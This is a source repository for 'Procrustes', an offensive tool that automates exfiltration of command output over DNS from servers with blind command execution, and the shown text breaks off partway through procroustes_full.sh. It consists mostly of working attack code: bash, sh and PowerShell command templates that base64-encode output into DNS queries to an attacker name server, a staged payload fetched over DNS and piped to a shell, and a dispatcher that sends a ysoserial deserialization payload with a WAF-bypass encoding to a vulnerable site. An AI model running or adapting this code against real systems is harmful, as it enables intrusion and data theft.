├── Readme.md
├── dispatcher_examples
├── curl_waf.sh
├── local_bash.sh
└── local_powershell_wsl2.sh
├── dns_server
└── dns_server.py
├── images
├── op.gif
└── staged.gif
├── nsconfig_examples
├── nsconf_local.sh
└── nsconf_remote.sh
├── procroustes_chunked.sh
├── procroustes_full.sh
└── wrapper_targetX.sh
/Readme.md:
--------------------------------------------------------------------------------
1 | # Procrustes
2 |
3 | A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution (e.g. java.lang.Runtime.exec).
4 |
5 | Unstaged:
6 |
7 |
8 |
9 |
10 | Staged:
11 |
12 |
13 |
14 |
15 | For its operations, the script takes as input the command we want to run on the target server and transforms it according to the target shell in order to allow its output to be exfiltrated over DNS. After the command is transformed, it's fed to the "dispatcher". The dispatcher is a program provided by the user and is responsible for taking as input a command and have it executed on the target server by any means necessary (e.g. exploiting a vulnerability). After the command is executed on the target server, it is expected to trigger DNS requests to our DNS name server containing chunks of our data. The script listens for those requests until the output of the user provided command is fully exfiltrated.
16 |
17 | Below are the supported command transformations, generated for the exfiltration of the command: `ls`
18 |
19 | sh:
20 | ```bash
21 | sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
22 | ```
23 |
24 | bash:
25 | ```bash
26 | bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
27 | ```
28 |
29 | powershell:
30 | ```bash
31 | powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
32 | ```
33 |
34 | ## Usage
35 | 1. Local testing for bash:
36 | ```bash
37 | ./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
38 | ```
39 |
40 | 2. Local testing for powershell with WSL2:
41 | ```bash
42 | stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
43 | ```
44 |
45 | 3. powershell example where we ssh into our NS to get the incoming DNS requests.
46 | ```bash
47 | ./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
48 | ```
49 |
50 | 4. More information on the options
51 | ```bash
52 | ./procroustes_chunked.sh --help
53 | ```
54 |
55 | ### procroustes_chunked vs procroustes_full
56 |
57 | In a nutshell, assuming we want to exfiltrate some data that has to be broken into four chunks in order to be able to be transmitted over DNS:
58 | * procroustes_chunked: calls the dispatcher four times, each time requesting a different chunk from the server. It has relatively small payload size, it's fast and doesn't need any special configuration.
59 | * procroustes_full: calls the dispatcher once, the command that will get executed on the server will be responsible for chunking the data and sending them over. It can have bigger payload size, it's fast (speed can be tuned through the -t parameter) and its speed can be further optimized when the dns_server is running on the name server.
60 | * procroustes_full/staged: same as procroustes_full, but uses a stager to get the command used by procroustes_full to chunk the data. It has the smallest "payload" size but is also the slowest with regards to exfiltration rate since the actual payload is downloaded over DNS. For its operation it requires the creation of an nsconfig script. Note: the nsconfig script should be created only once per name server (and not per target server).
61 |
62 | Some of their differences can also be illustrated through the template commands used for bash:
63 |
64 | procroustes_chunked/bash:
65 | ```bash
66 | %DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
67 | ```
68 | procroustes_full/bash:
69 | ```bash
70 | (%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
71 | ```
72 | procroustes_full/bash/staged:
73 | ```bash
74 | (seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
75 | ```
76 |
77 | ---------------------------------------
78 |
79 |
80 | | | procroustes_chunked | procroustes_full | procroustes_full_staged |
81 | | ------------- |:-------------: |:-----: |:-----: |
82 | | payload size overhead (bash/powershell) | 150\*NLABELS/500\*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
83 | | dispatcher calls # | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
84 | | speed (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3]|
85 | | configuration difficulty | easy | easy+ | medium|
86 |
87 | [1] For the staged version, the command is downloaded through DNS, so the listed size is the total payload size as well.
88 |
89 | [2] On procroustes_chunked, dispatcher is called multiple times and so as the provided command that is supposed to executed on the server (until all its output is exfiltrated). This behavior is not ideal in case the delivery of commands to the server (i.e. by calling the dispatcher) is time/resource intensive.
90 |
91 | It may also cause problems in case the command we are executing on the server is not idempotent (functionality or output-wise, e.g. "ls;rm file") or is time/resource intensive (e.g. find / -name secret). A workaround for this case is to first store the command output to a file (e.g. /tmp/file) and then use the script to read that file.
92 |
93 | [3] In the staged version we have the overhead of the time required to get the actual payload over DNS. It should be noted that the script makes use of A records to get the actual payload. Even though this allows our traffic to blend in better with the regular traffic of the target environment, it offers limited channel capacity (e.g. 4 bytes per request). We could make use of other record types like TXT and minimize the stage download time (close to zero) and the stager size.
94 |
95 | ### Tips
96 |
97 | - You probably want to use this script as little as possible, try to transition to a higher bandwidth channel the soonest possible (e.g. HTTP-webshell)
98 | - In case long text output is expected, you can try compressing it first to speed up the exfil process, e.g. ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
99 | - Another possibility for big/binary files is to copy them to a path which is accessible for example through HTTP
100 | - For increased exfil bandwidth in procrustes_full, run the dns_server on your name server. That way, we avoid waiting for the underlying DNS_TRIGGER to timeout before moving on to a new chunk.
101 | - Ideally, you would have a domain (-h option) with an NS record pointing to a server you control (server where we run tcpdump). Nevertheless, in case the target is allowed to initiate connections to arbitrary DNS servers, this can be avoided by having the DNS trigger explicitly set to use our DNS server (e.g. dig @your_server whatev.er)
102 |
103 | ### Credits
104 | * [Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) - idea of chunking the data on the server. It also performs similar functionalities with this script, so check it out.
105 | * [DNSlivery](https://github.com/no0be/DNSlivery) - modified version of DNSlivery is used as the DNS server
--------------------------------------------------------------------------------
/dispatcher_examples/curl_waf.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | function urldecode {
4 | plus_sub=' '
5 | [[ ! -z $1 ]] && plus_sub=+ #by default no translation of + to ' '
6 | tr "\\\\%${plus_sub}" '%\\ '|sed 's_\\_\\x_g'|xargs -0 printf %b|tr % '\\'
7 | }
8 |
9 | function urlencode {
10 | xxd -p|tr -d '\n'|sed 's/../%&/g'
11 | }
12 |
13 | #an example waf bypass by @irsdl
14 | function enc {
15 | local target_enc
16 |
17 | target_enc=IBM037
18 | [[ ! -z $1 ]] && target_enc=$1
19 | iconv -f UTF-8 -t "$target_enc"
20 | }
21 |
22 | function run_processors {
23 | declare -n procs="${1}"
24 | local data
25 |
26 | IFS= read -r data
27 | for proc in "${procs[@]}";do
28 | data=$(printf %s "${data}"|eval "${proc}")
29 | done
30 | echo "$data"
31 | }
32 |
33 | function param_processor {
34 | local data param param_name param_name_proc param_val param_val_proc
35 |
36 | data=""
37 | while IFS= read -r -d '&' param || [[ ! -z $param ]];do
38 | param_name=${param%%=*}
39 | param_name_proc=$(printf %s "$param_name"|run_processors "${1}")
40 | [[ $param_name == "${param}" ]] && {
41 | data=$(printf '%s&%s' "${data}" "$param_name_proc")
42 | } || {
43 | param_val=${param#"${param_name}="}
44 | param_val_proc=$(printf %s "$param_val"|run_processors "${1}")
45 | data=$(printf '%s&%s=%s' "${data}" "$param_name_proc" "$param_val_proc")
46 | }
47 | done
48 | echo "${data:1}"
49 | }
50 |
51 | read -r cmd
52 |
53 | charset=ibm037
54 | processors=(urldecode "enc '${charset^^}'" urlencode)
55 | params='param1=v%61l%201&state=%PAYLOAD%'
56 |
57 | payload=$(java -jar ysoserial.jar CommonsCollections5 "$cmd"|base64 -w0)
58 | params=${params/"%PAYLOAD%"/"${payload}"}
59 | params_processed=$(printf "%s" "${params}"|param_processor processors)
60 |
61 | curl -i -s -k -H "Content-Type: application/x-www-form-urlencoded; charset=${charset,,}" -d "$params_processed" 'https://vuln_site'
--------------------------------------------------------------------------------
/dispatcher_examples/local_bash.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | read -r cmd
3 | $cmd
--------------------------------------------------------------------------------
/dispatcher_examples/local_powershell_wsl2.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | read -r cmd
4 | /mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe ${cmd#* }
--------------------------------------------------------------------------------
/dns_server/dns_server.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | '''
4 | original source: https://github.com/no0be/DNSlivery
5 | axed to chunk by default payload.txt to ipv4 addresses, e.g. AAAA is translated to 65.65.65.65
6 | the command is padded with spaces so as its lenght is congruent to 4 and the final chunk is indicated by the 4.4.4.4
7 |
8 | the digits in the suffix of the first label indicates the chunk that will be delivered e.g. test1.doma.in will deliver the first chunk (1-index based)
9 | all other requests will return 8.8.8.8 (can be used to speed up the data exfiltration in both staged and unstaged versions)
10 | '''
11 | import sys
12 | import os
13 | import argparse
14 | import signal
15 | import re
16 | import base64
17 | from scapy.all import *
18 |
19 | end_of_transmission_ipv4="4.4.4.4"
20 |
21 | banner = """
22 | DNSlivery - Easy files and payloads delivery over DNS
23 | """
24 |
25 | def log(message, msg_type = ''):
26 | reset = '\033[0;m'
27 |
28 | # set default prefix and color
29 | prefix = '[*]'
30 | color = reset
31 |
32 | # change prefix and color based on msg_type
33 | if msg_type == '+':
34 | prefix = '[+]'
35 | color = '\033[1;32m'
36 | elif msg_type == '-':
37 | prefix = '[-]'
38 | color = '\033[1;31m'
39 | elif msg_type == 'debug':
40 | prefix = '[DEBUG]'
41 | color = '\033[0;33m'
42 |
43 | print('%s%s %s%s' % (color, prefix, message, reset))
44 |
45 | def base64_chunks(clear, size):
46 | encoded = base64.b64encode(clear)
47 |
48 | # split base64 into chunks of provided size
49 | encoded_chunks = []
50 | for i in range(0, len(encoded), size):
51 | encoded_chunks.append(encoded[i:i + size])
52 |
53 | return encoded_chunks
54 |
55 | def ipv4_chunks(clear):
56 | return list(map(lambda x: '.'.join(map(lambda y: str(y), x)), zip(*[iter(clear+b" "*3)]*4)))+[end_of_transmission_ipv4]
57 |
58 |
59 | def signal_handler(signal, frame):
60 | log('Exiting...')
61 | sys.exit(0)
62 |
63 | def dns_handler(data):
64 | # only process dns queries
65 | if data.haslayer(UDP) and data.haslayer(DNS) and data.haslayer(DNSQR):
66 | # split packet layers
67 | ip = data.getlayer(IP)
68 | udp = data.getlayer(UDP)
69 | dns = data.getlayer(DNS)
70 | dnsqr = data.getlayer(DNSQR)
71 |
72 | # only process a queries (type 1)
73 | if len(dnsqr.qname) != 0 and dnsqr.qtype == 1:
74 |
75 | try:
76 | if args.verbose: log('Received DNS query for %s from %s' % (dnsqr.qname.decode(), ip.src))
77 |
78 | # remove domain part of fqdn and split the different parts of hostname
79 | hostname = dnsqr.qname.decode().split('.')
80 |
81 | index_match = re.findall(r'\d+$', hostname[0])
82 | index = int(index_match[0])
83 |
84 | if 0payload.txt
6 | python3 dns_server.py
--------------------------------------------------------------------------------
/nsconfig_examples/nsconf_remote.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | read -r cmd
4 | cd dns_server
5 | scp -i key dns_server.py user@NAMESERVER:
6 | echo "$cmd"|ssh -i key user@NAMESERVER 'cat>payload.txt;python3 dns_server.py'
7 |
--------------------------------------------------------------------------------
/procroustes_chunked.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | nlabels=4
4 | label_size=30
5 | debug=0
6 | shell=bash #bash, sh or powershell
7 | strict_label_charset=1
8 | outfile=/dev/stdout
9 |
10 | trap "setsid kill -2 -- -$(ps -o pgid= $$ | grep -o '[0-9]*')" EXIT
11 |
12 | ########FUNCTION DEFINITIONS#############
13 | function usage {
14 | cat <<-!
15 | Usage:
16 | $0 [OPTION]... -- CMD
17 |
18 | -h HOST The host with an NS record pointing to a name server under our control. This can be a random name in case we control the name server through the DNS_TRIGGER and direct connections to that NS are allowed by the target server (unlikely)
19 | -d DNS_TRIGGER The command that will trigger DNS requests on the external server
20 | -x DISPATCHER Path to the script that will trigger the command execution on the server.
21 | The script should take as argument a command and have it executed on the target server
22 | example: curl https://vulnerable_server --data-urlencode "cmd=${1}"
23 | -n NLABELS=4 The number of labels to use for the data exfiltration. data1.data2...dataN.uid.yourdns.ns
24 | -s LABEL_SIZE=30 The size of each label. len(data1)
25 | -o FILE=stdout The file where the command output will be stored
26 | -w SHELL=bash Supported shells are bash, sh, powershell|ps
27 | -r No encoding of +/= characters before issuing dns requests
28 | -v Verbose mode
29 |
30 | Examples:
31 | stdbuf -oL tcpdump --immediate -l -i any udp port 53|$0 -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret'
32 |
33 | $0 -h youdns.ns -w ps -d "Resolve-DnsName" -x ./dispatcher.sh -- 'gci | % {\$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
34 | !
35 | }
36 |
37 | function debug_print {
38 | [[ $debug -ne 0 ]] && echo "$@"
39 | }
40 |
41 | function b64 {
42 | local target_enc="UTF-8"
43 |
44 | [[ $shell == powershell ]] && target_enc=UTF-16LE
45 | if [[ $1 == -d ]]; then
46 | base64 -d
47 | else
48 | iconv -f UTF-8 -t "$target_enc" | base64 -w0
49 | fi
50 | }
51 |
52 | function listen_for {
53 | local data dns_req_host
54 | local postfix="$1"
55 |
56 | while read -u "$dns_data_fd" -r line || [[ -n $line ]]; do
57 | if [[ $line == *"${postfix}"* ]]; then
58 | dns_req_host=$(echo "$line"|grep -Eo "[^ ]+${postfix}")
59 | data=${dns_req_host%${postfix}}
60 | break
61 | fi
62 | done
63 | printf %s $data
64 | }
65 |
66 | function strict_translator {
67 | local data sed_arg
68 |
69 | #we expect one line of data
70 | IFS= read -r data
71 | if [[ $strict_label_charset -eq 1 ]]; then
72 | [[ -z $1 ]] && data=$(echo "$data"|sed "s_+_-1_g; s_/_-2_g; s_=_-3_g")
73 | [[ ! -z $1 ]] && data=$(echo "$data"|sed "s_-1_+_g; s_-2_/_g; s_-3_=_g")
74 | fi
75 | printf %s "$data"
76 | }
77 |
78 | function assign {
79 | [[ $1 == "$shell" ]] && {
80 | declare -g "$2"="$3"
81 | }
82 | }
83 |
84 | #######END OF FUNCTIONS#########
85 |
86 | ######ARGUMENT PROCESSING############
87 |
88 | [[ $# -eq 0 ]] && {
89 | usage
90 | exit
91 | }
92 |
93 | while [[ $# -gt 0 ]]; do
94 | key="$1"
95 |
96 | case $key in
97 | -h)
98 | dns_host="$2"
99 | shift
100 | shift
101 | ;;
102 | -d)
103 | dns_trigger="$2"
104 | shift
105 | shift
106 | ;;
107 | -n)
108 | nlabels="$2"
109 | shift
110 | shift
111 | ;;
112 | -s)
113 | label_size="$2"
114 | shift
115 | shift
116 | ;;
117 | -x)
118 | dispatcher="$2"
119 | shift
120 | shift
121 | ;;
122 | -o)
123 | outfile="$2"
124 | shift
125 | shift
126 | ;;
127 | -w)
128 | shell="$2"
129 | shift
130 | shift
131 | ;;
132 | -t)
133 | shift
134 | shift
135 | ;;
136 | -m)
137 | shift
138 | shift
139 | ;;
140 | -r|--relaxed)
141 | strict_label_charset=0
142 | shift
143 | ;;
144 | -v|--debug)
145 | debug=1
146 | shift
147 | ;;
148 | --help)
149 | usage
150 | exit
151 | shift
152 | ;;
153 | --)
154 | shift
155 | break
156 | ;;
157 | *)
158 | echo "invalid option $1"
159 | exit
160 | ;;
161 | esac
162 | done
163 |
164 | cmd="$*"
165 |
166 | mandatory_args=(dns_host dns_trigger dispatcher cmd)
167 | for arg in "${mandatory_args[@]}"; do
168 | [[ -z ${!arg} ]] && echo "Missing arg: $arg" && exit
169 | done
170 |
171 | [[ $shell == ps ]] && shell=powershell
172 |
173 | supported_shells=(sh bash bash2 powershell)
174 | [[ -z $(IFS=@;[[ @"${supported_shells[*]}"@ == *@"$shell"@* ]] && echo yes) ]] && {
175 | echo "$shell is not supported"
176 | echo "Currently supported shells: ${supported_shells[*]}"
177 | exit
178 | }
179 |
180 | YELLOW='\033[0;33m'
181 | RED='\033[0;31m'
182 | NC='\033[0m'
183 | printf "${YELLOW}******${shell^^}******${NC}\n"
184 | printf "Dispatcher: ${YELLOW}%s${NC}\n" "$dispatcher"
185 | printf "Base DNS Host: ${YELLOW}%s${NC}\n" "$dns_host"
186 | printf "DNS Trigger Command: ${YELLOW}%s${NC}\n" "$dns_trigger"
187 | printf "Number of labels and label size: ${YELLOW}${nlabels}x${label_size}${NC}\n"
188 | [[ ! -x $dispatcher ]] && printf "${RED}Dispatcher file is not executable${NC}\n"
189 | [[ $strict_label_charset -ne 1 && $shell == powershell ]] && printf "${RED}Windows+Strict Label Charset OFF=?${NC}\n"
190 | [[ -t 0 ]] && printf "${RED}NS DNS data are expected through stdin, check usage examples${NC}\n"
191 |
192 | ##########END OF ARGUMENT PROCESSING#############
193 |
194 | ##########sh definitions#######
195 | assign sh outer_cmd_template 'sh -c $@|base64${IFS}-d|sh . echo %CMD_B64%'
196 |
197 | assign sh innerdns_cmd_template ' %dns_trigger% %USER_CMD%.%STAGE_ID%%UNIQUE_DNS_HOST%'
198 |
199 | assign sh user_cmd_template "\`(${cmd})|base64 -w0|cut -b\$((%INDEX%+1))-\$((%INDEX%+%COUNT%))\`"
200 | [[ $strict_label_charset -eq 1 ]] && {
201 | assign sh user_cmd_template "\`(${cmd})|base64 -w0|cut -b\$((%INDEX%+1))-\$((%INDEX%+%COUNT%))|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'\`"
202 | }
203 |
204 | assign sh user_cmd_out_len "\`(${cmd})|base64 -w0|wc -c\`"
205 | assign sh user_cmd_sep .
206 | ##########bash definitions#######
207 | assign bash outer_cmd_template 'bash -c {echo,%CMD_B64%}|{base64,-d}|bash'
208 |
209 | assign bash innerdns_cmd_template ' %dns_trigger% %USER_CMD%.%STAGE_ID%%UNIQUE_DNS_HOST%'
210 |
211 | assign bash user_cmd_template "\`(${cmd})|base64 -w0|{ read -r c;printf \${c:%INDEX%:%COUNT%}; }\`"
212 | [[ $strict_label_charset -eq 1 ]] && {
213 | assign bash user_cmd_template "\`(${cmd})|base64 -w0|{ read -r c;printf \${c:%INDEX%:%COUNT%}; }|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'\`"
214 | }
215 |
216 | assign bash user_cmd_out_len "\`(${cmd})|base64 -w0|wc -c\`"
217 | assign bash user_cmd_sep .
218 |
219 | ###########powershell definitions########
220 |
221 | assign powershell outer_cmd_template "powershell -enc %CMD_B64%"
222 |
223 | assign powershell innerdns_cmd_template '%dns_trigger% $("{0}.{1}{2}" -f (%USER_CMD%),"%STAGE_ID%","%UNIQUE_DNS_HOST%")'
224 | #assign powershell innerdns_cmd_template '(1..5)|%{%dns_trigger% $("{0}.{1}{2}" -f (%USER_CMD%),"%STAGE_ID%","%UNIQUE_DNS_HOST%")}'
225 |
226 | assign powershell user_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd}))).Substring(%INDEX%,%COUNT%)"
227 | [[ $strict_label_charset -eq 1 ]] && {
228 | assign powershell user_cmd_template "([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd}))).Substring(%INDEX%,%COUNT%) -replace '\+','-1' -replace '/','-2' -replace '=','-3')"
229 | }
230 |
231 | assign powershell user_cmd_out_len "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd}))).length"
232 | assign powershell user_cmd_sep '+"."+'
233 |
234 | #######end of definitions###########
235 |
236 | #definitions sanity check
237 | vars=(outer_cmd_template innerdns_cmd_template user_cmd_template user_cmd_out_len user_cmd_sep)
238 | for var in "${vars[@]}"; do
239 | [[ -z ${!var} ]] && echo "Undeclared var: $var" && exit
240 | done
241 |
242 | #####MAIN###########
243 | exec {dns_data_fd}<&0
244 | exec 0/dev/null 2>&1 &
265 | cmd_out_len=$(listen_for ".len${unique_dns_host}")
266 |
267 | [[ -z $cmd_out_len ]] && {
268 | echo "Failed to get the output length, verify that we can listen to DNS traffic"
269 | exit
270 | }
271 |
272 | echo "The command output length is: $cmd_out_len"
273 |
274 | #extracting the command output
275 | pre_innerdns_cmd=${innerdns_cmd_template}
276 | pre_innerdns_cmd=${pre_innerdns_cmd//'%dns_trigger%'/$dns_trigger}
277 | pre_innerdns_cmd=${pre_innerdns_cmd//'%UNIQUE_DNS_HOST%'/$unique_dns_host}
278 | cmd_out=""
279 | for ((index_base=0;index_base<${cmd_out_len};index_base+=${nlabels}*${label_size}));do
280 | innerdns_cmd=${pre_innerdns_cmd//'%STAGE_ID%'/iter${index_base}}
281 | for index in `seq $((index_base)) ${label_size} $((index_base+(nlabels-1)*label_size))`;do
282 | [[ $index -ge $cmd_out_len ]] && break
283 | count=$(((cmd_out_len-index)>label_size?label_size:cmd_out_len-index))
284 | user_cmd=${user_cmd_template//'%INDEX%'/${index}}
285 | user_cmd=${user_cmd//'%COUNT%'/${count}}
286 | innerdns_cmd=${innerdns_cmd//'%USER_CMD%'/${user_cmd}${user_cmd_sep}'%USER_CMD%'}
287 | done
288 | innerdns_cmd=${innerdns_cmd//${user_cmd_sep}'%USER_CMD%'}
289 | debug_print "$innerdns_cmd"
290 |
291 | cmd_b64=$(echo "$innerdns_cmd"|b64)
292 | debug_print "cmd_b64=$cmd_b64"
293 |
294 | outer_cmd=${outer_cmd_template//'%CMD_B64%'/$cmd_b64}
295 | debug_print "outer_cmd[${#outer_cmd}]=$outer_cmd"
296 |
297 | echo "$outer_cmd"|"$dispatcher" >/dev/null 2>&1 &
298 | data=$(listen_for ".iter${index_base}${unique_dns_host}")
299 | debug_print "data for index_base=${index_base}: $data"
300 |
301 | cmd_out="${cmd_out}${data}"
302 | debug_print "$cmd_out"
303 | printf "\r[$index_base/$cmd_out_len]"
304 | done && echo
305 |
306 | echo "$cmd_out" | tr -d . | strict_translator -d | b64 -d >> "$outfile"
307 | echo
308 |
--------------------------------------------------------------------------------
/procroustes_full.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | nlabels=4
4 | label_size=30
5 | debug=0
6 | shell=bash #bash, sh or powershell
7 | strict_label_charset=1
8 | outfile=/dev/stdout
9 | timeout=20
10 | threads=5
11 |
12 | trap "setsid kill -2 -- -$(ps -o pgid= $$ | grep -o '[0-9]*')" EXIT
13 |
14 | ########FUNCTION DEFINITIONS#############
15 | function usage {
16 | cat <<-!
17 | Usage:
18 | $0 [OPTION]... -- CMD
19 |
20 | -h HOST The host with an NS record pointing to a name server under our control. This can be a random name in case we control the name server through the DNS_TRIGGER and direct connections to that NS are allowed by the target server (unlikely)
21 | -d DNS_TRIGGER The command that will trigger DNS requests on the external server
22 | -x DISPATCHER Path to the script that will trigger the command execution on the server.
23 | The script should take as argument a command and have it executed on the target server
24 | example: curl https://vulnerable_server --data-urlencode "cmd=${1}"
25 | -n NLABELS=4 The number of labels to use for the data exfiltration. data1.data2...dataN.uid.yourdns.ns
26 | -s LABEL_SIZE=30 The size of each label. len(data1)
27 | -o FILE=stdout The file where the command output will be stored
28 | -w SHELL=bash Supported shells are bash, sh, powershell|ps
29 | -m TIMEOUT=10 Seconds after which the script exits when no new data are received
30 | -t THREADS=10 Number of threads/processes to use when extracting the data (i.e. #DISPATCHER instances)
31 | -r No encoding of +/= characters before issuing dns requests
32 | -v Verbose mode
33 |
34 | Staged Mode:
35 | -z NSCONFIG The path to the script that will have dnslivery running
36 | -k S_DNS_CMD The command used within the stager to get the DNS data, defaults to:
37 | sh/bash: dig %host% +short
38 | powershell: Resolve-DnsName -ty a %host%|? Section -eq Answer|Select -Exp IPAddress
39 | The %host% is replaced later by the script with the actual host used for the DNS resolution
40 |
41 | Examples:
42 | stdbuf -oL tcpdump --immediate -l -i any udp port 53|$0 -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret'
43 |
44 | $0 -h youdns.ns -w ps -d "Resolve-DnsName" -x ./dispatcher.sh -- 'gci | % {\$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
45 | !
46 | }
47 |
48 | function debug_print {
49 | [[ $debug -ne 0 ]] && echo "$@"
50 | }
51 |
52 | function b64 {
53 | local target_enc="UTF-8"
54 |
55 | [[ $shell == powershell ]] && target_enc=UTF-16LE
56 | if [[ $1 == -d ]]; then
57 | base64 -d
58 | else
59 | iconv -f UTF-8 -t "$target_enc" | base64 -w0
60 | fi
61 | }
62 |
63 | function strict_translator {
64 | local data sed_arg
65 |
66 | #we expect one line of data
67 | IFS= read -r data
68 | if [[ $strict_label_charset -eq 1 ]]; then
69 | [[ -z $1 ]] && data=$(echo "$data"|sed "s_+_-1_g; s_/_-2_g; s_=_-3_g")
70 | [[ ! -z $1 ]] && data=$(echo "$data"|sed "s_-1_+_g; s_-2_/_g; s_-3_=_g; s_--__g")
71 | fi
72 | printf %s "$data"
73 | }
74 |
75 | function assign {
76 | [[ $1 == "$shell" ]] && {
77 | declare -g "$2"="$3"
78 | }
79 | }
80 |
81 | #######END OF FUNCTIONS#########
82 |
83 | ######ARGUMENT PROCESSING############
84 |
85 | [[ $# -eq 0 ]] && {
86 | usage
87 | exit
88 | }
89 |
90 | while [[ $# -gt 0 ]]; do
91 | key="$1"
92 |
93 | case $key in
94 | -h)
95 | dns_host="$2"
96 | shift
97 | shift
98 | ;;
99 | -d)
100 | dns_trigger="$2"
101 | shift
102 | shift
103 | ;;
104 | -n)
105 | nlabels="$2"
106 | shift
107 | shift
108 | ;;
109 | -s)
110 | label_size="$2"
111 | shift
112 | shift
113 | ;;
114 | -x)
115 | dispatcher="$2"
116 | shift
117 | shift
118 | ;;
119 | -z)
120 | nsconfig="$2"
121 | shift
122 | shift
123 | ;;
124 | -o)
125 | outfile="$2"
126 | shift
127 | shift
128 | ;;
129 | -w)
130 | shell="$2"
131 | shift
132 | shift
133 | ;;
134 | -t)
135 | threads="$2"
136 | shift
137 | shift
138 | ;;
139 | -k)
140 | user_s_dns_cmd="$2"
141 | shift
142 | shift
143 | ;;
144 | -m)
145 | timeout="$2"
146 | shift
147 | shift
148 | ;;
149 | -r|--relaxed)
150 | strict_label_charset=0
151 | shift
152 | ;;
153 | -v|--debug)
154 | debug=1
155 | shift
156 | ;;
157 | --help)
158 | usage
159 | exit
160 | shift
161 | ;;
162 | --)
163 | shift
164 | break
165 | ;;
166 | *)
167 | echo "invalid option $1"
168 | exit
169 | ;;
170 | esac
171 | done
172 |
173 | cmd="$*"
174 |
175 | mandatory_args=(dns_host dns_trigger dispatcher cmd)
176 | for arg in "${mandatory_args[@]}"; do
177 | [[ -z ${!arg} ]] && echo "Missing arg: $arg" && exit
178 | done
179 |
180 | [[ $shell == ps ]] && shell=powershell
181 |
182 | supported_shells=(sh bash bash2 powershell)
183 | [[ -z $(IFS=@;[[ @"${supported_shells[*]}"@ == *@"$shell"@* ]] && echo yes) ]] && {
184 | echo "$shell is not supported"
185 | echo "Currently supported shells: ${supported_shells[*]}"
186 | exit
187 | }
188 |
189 | YELLOW='\033[0;33m'
190 | RED='\033[0;31m'
191 | NC='\033[0m'
192 | printf "${YELLOW}******${shell^^}******${NC}\n"
193 | printf "Dispatcher: ${YELLOW}%s${NC}\n" "$dispatcher"
194 | printf "Base DNS Host: ${YELLOW}%s${NC}\n" "$dns_host"
195 | printf "DNS Trigger Command: ${YELLOW}%s${NC}\n" "$dns_trigger"
196 | printf "Number of labels and label size: ${YELLOW}${nlabels}x${label_size}${NC}\n"
197 | printf "Number of remote threads: ${YELLOW}${threads}${NC}\n"
198 | printf "Timeout: ${YELLOW}${timeout}${NC}\n"
199 | [[ ! -x $dispatcher ]] && printf "${RED}Dispatcher file is not executable${NC}\n"
200 | [[ ! -z $nsconfig && ! -x $nsconfig ]] && printf "${RED}NS configuration file is not executable${NC}\n"
201 | [[ $strict_label_charset -ne 1 && $shell == powershell ]] && printf "${RED}Windows+Strict Label Charset OFF=?${NC}\n"
